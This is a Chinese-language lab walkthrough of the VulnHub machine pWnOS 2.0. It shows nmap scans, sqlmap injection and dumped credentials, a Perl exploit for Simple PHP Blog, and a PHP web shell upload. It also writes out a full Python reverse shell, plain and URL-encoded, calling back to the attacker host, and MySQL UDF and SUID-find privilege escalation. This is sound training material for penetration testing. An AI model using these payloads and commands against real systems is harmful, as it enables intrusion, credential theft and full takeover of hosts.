下载链接:
pWnOS: 2.0 (Pre-Release) ~ VulnHub
扫描不到ip?:
该靶场的默认ip是10.10.10.0段的,所以我们需要把靶场以及kali设置为NAT模式!并且修改网络配置为10.10.10.0
正文:
先用nmap扫描靶机ip
nmap -sn 10.10.10.0/24
获取到靶机ip后,对靶机的端口进行扫描,并把结果输出到pwnos文件夹下,命名为port方便后续查看
nmap -p- 10.10.10.100 -r -PN -oA pwnos/port
(-p-:对所有端口进行探测
-PN:用于禁用主机发现。这些参数告诉Nmap不要执行主机存活检测,而是直接扫描指定的目标
-oA:输出到指定位置
-r:连续扫描端口,并在扫描过程中随机排序目标端口。这可以帮助减少被网络防御系统检测到的风险。
)
对端口指纹进行详细探测,并把结果输出到pwnos文件夹下,命名为server方便后续查看
nmap -p 22,80 10.10.10.100 -sC -sV -r -O --version-all -A -oA pwnos/server
(-p:对指定的端口进行探测
-sV:版本信息
-sC:默认脚本扫描
-A:启动Os检测,版本检测,脚本扫描和traceroute
-O:探测操作系统信息
--version-all:尽可能多的探测信息)
访问80端口
点击右侧的login进行登录查看
尝试bp抓包将数据保存到sqlmap目录下的1.txt,并尝试使用sqlmap进行注入
python sqlmap.py -r 1.txt --dbs --batch --level 3
确实存在sql注入漏洞
python sqlmap.py -r 1.txt --batch --level 3 -D ch16 --tables
python sqlmap.py -r 1.txt --batch --level 3 -D ch16 -T users --columns --dump
对密码进行md5解密
得到账号密码
admin@isints.com:killerbeesareflying
尝试登录
wtf?好简陋。。。。看来用这个账号登录会提示这个,我们将该账号密码保存一下
继续尝试万能密码
admin' or '1' = '1' #
登录成功,没有东西,右键查看源代码,也没有东西
那我们进行目录扫描
dirsearch -u "10.10.10.100"
发现blog目录,进行访问
右键查看源代码我们可以发现该插件的名称以及版本
在kali中搜索相关漏洞,看有没有可以利用的脚本
searchsploit Simple PHP Blog 0.4.0
(searchsploit是一个非常实用的网络安全工具,它是Exploit-DB的一个命令行搜索工具。Exploit-DB是一个公开的漏洞数据库,包含了大量的漏洞利用程序)
我们尝试利用1191.pl脚本
将该脚本复制到当前目录
searchsploit Simple PHP Blog 0.4.0 -m 1191.pl
查看脚本内容来确定使用方法
我们发现了脚本用法以及参数作用
-h为ip地址 -e为利用方式并给出了不同序号的不同方式
我们选择序号3来创建一个新账号密码,账号和密码均为“xxx”
perl 1191.pl -h http://10.10.10.100/blog -e 3 -U xxx -P xxx
利用成功
如果出现利用报错,那可能是perl的依赖没有安装
sudo apt install libswitch-perl
通过该指令来对依赖进行安装
我们对blog网站进行登录尝试
登录成功并发现上传文件位置
我们尝试上传木马
GIF89a
<?php
system($_GET['132']);
phpinfo();
?>
打开bp抓包,并对文件后缀进行修改
上传成功,但是并没有返回上传路径
我们再次对blog目录进一步扫描
dirsearch -u "10.10.10.100/blog"
通过筛查发现,该/blog/images目录下为上传的文件位置
发现文件上传位置,我们打开木马看看
发现木马中的phpinfo()解析成功,并且可以正常接受参数
获取shell
打开kali,并进行端口监听
nc -lvp 8080
把参数“id”替换为反弹shell
我这里使用的python的反弹shell,你们可以尝试其他的反弹shell,也可以在该网站中直接生成反弹shell(反弹shell生成器 (ywhack.com))
export RHOST="10.10.10.128";export RPORT=8080;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("sh")'
因为我们是在URL中输入,避免该段代码出现问题,要对该反弹shell进行URL编码
编码后:
%65%78%70%6f%72%74%20%52%48%4f%53%54%3d%22%31%30%2e%31%30%2e%31%30%2e%31%32%38%22%3b%65%78%70%6f%72%74%20%52%50%4f%52%54%3d%38%30%38%30%3b%70%79%74%68%6f%6e%20%2d%63%20%27%69%6d%70%6f%72%74%20%73%79%73%2c%73%6f%63%6b%65%74%2c%6f%73%2c%70%74%79%3b%73%3d%73%6f%63%6b%65%74%2e%73%6f%63%6b%65%74%28%29%3b%73%2e%63%6f%6e%6e%65%63%74%28%28%6f%73%2e%67%65%74%65%6e%76%28%22%52%48%4f%53%54%22%29%2c%69%6e%74%28%6f%73%2e%67%65%74%65%6e%76%28%22%52%50%4f%52%54%22%29%29%29%29%3b%5b%6f%73%2e%64%75%70%32%28%73%2e%66%69%6c%65%6e%6f%28%29%2c%66%64%29%20%66%6f%72%20%66%64%20%69%6e%20%28%30%2c%31%2c%32%29%5d%3b%70%74%79%2e%73%70%61%77%6e%28%22%73%68%22%29%27
完整payload
10.10.10.100/blog/images/muma.php?132=%65%78%70%6f%72%74%20%52%48%4f%53%54%3d%22%31%30%2e%31%30%2e%31%30%2e%31%32%38%22%3b%65%78%70%6f%72%74%20%52%50%4f%52%54%3d%38%30%38%30%3b%70%79%74%68%6f%6e%20%2d%63%20%27%69%6d%70%6f%72%74%20%73%79%73%2c%73%6f%63%6b%65%74%2c%6f%73%2c%70%74%79%3b%73%3d%73%6f%63%6b%65%74%2e%73%6f%63%6b%65%74%28%29%3b%73%2e%63%6f%6e%6e%65%63%74%28%28%6f%73%2e%67%65%74%65%6e%76%28%22%52%48%4f%53%54%22%29%2c%69%6e%74%28%6f%73%2e%67%65%74%65%6e%76%28%22%52%50%4f%52%54%22%29%29%29%29%3b%5b%6f%73%2e%64%75%70%32%28%73%2e%66%69%6c%65%6e%6f%28%29%2c%66%64%29%20%66%6f%72%20%66%64%20%69%6e%20%28%30%2c%31%2c%32%29%5d%3b%70%74%79%2e%73%70%61%77%6e%28%22%73%68%22%29%27
回车,反弹成功
查找具有 Setuid 权限的文件的命令
find / -perm -u=s -type f 2>/dev/null
查看计划任务
cat /etc/crontab
列出与定时任务相关的文件和目录
ls /etc/cron*
都没有什么有用的东西
提权1
那就进一步进行信息收集
查找mysql的用户文件
find / -name mysqli_connect.php 2>/dev/null
我们发现有两个文件
分别对两个文件进行查看
cat /var/mysqli_connect.php
cat /var/www/mysqli_connect.php
我们又获取到一个账号两个密码,同样保存起来
我们尝试看看能不能用这几个账号密码对ssh进行登录
ssh root@10.10.10.100
然后发现登陆成功而且还是root权限。。。。。。。。。密码是:root@ISIntS
总感觉违背了这个靶场的宗旨。。。
提权方法2--udf提权
我们尝试另一种方法
既然我们有了mysql的用户信息,我们尝试进行登录
mysql -u root -p
经过尝试,密码同样为root@ISIntS
查看mysql有没有写入权限
show global variables like '%secure%';
secure_file_priv的值为null ,表示限制mysql不允许导入或导出
当值为/tmp/时 ,表示限制mysql的导入或导出只能发生在/tmp目录下
当secure_file_priv的值没有具体值时,表示不对导入或导出做限制
那趁此机会,我们来学习一下mysql的udf提权
查看一下版本,并准备好对应的so文件
show variables like 'version_compile_%';
发现是64位的
我们再次查询下plugin文件夹位置,方便我们一下使用
show variables like "%plugin%";
我们需要准备对应的udf库,在kali中和sqlmap中自带,(可以查看该文章进行进一步了解linux环境下的MySQL UDF提权 - 知乎 (zhihu.com))
打开kali窗口,并切换到/usr/share/metasploit-framework/data/exploits/mysql目录下
cd /usr/share/metasploit-framework/data/exploits/mysql
so文件为linux系统所用的,dll文件为windows系统所用的
既然靶场为64位的,那我们就选择64位的so文件
在当前目录下打开http服务
python3 -m http.server 80
回到靶场shell并退出mysql
exit
切换到我们之前查询的plugin位置
cd /usr/lib/mysql/plugin
我们需要在该位置下载我们所需要的文件
wget http://10.10.10.128/lib_mysqludf_sys_64.so
再次进入mysql
mysql -u root -p
root@ISIntS
创建sys_eval函数
create function sys_eval returns string soname "lib_mysqludf_sys_64.so";
调用该函数
select sys_eval('whoami');
给find命令赋root的suid权限(同样也可以选择其他命令可以在该网站中查看可以用suid提权的命令GTFOBins)
我这里选择的find命令
select sys_eval('chmod u+s /usr/bin/find');
退出mysql
切换到/tmp目录,因为一般情况下该目录权限较高
cd /tmp
find . -exec /bin/sh \;
提权成功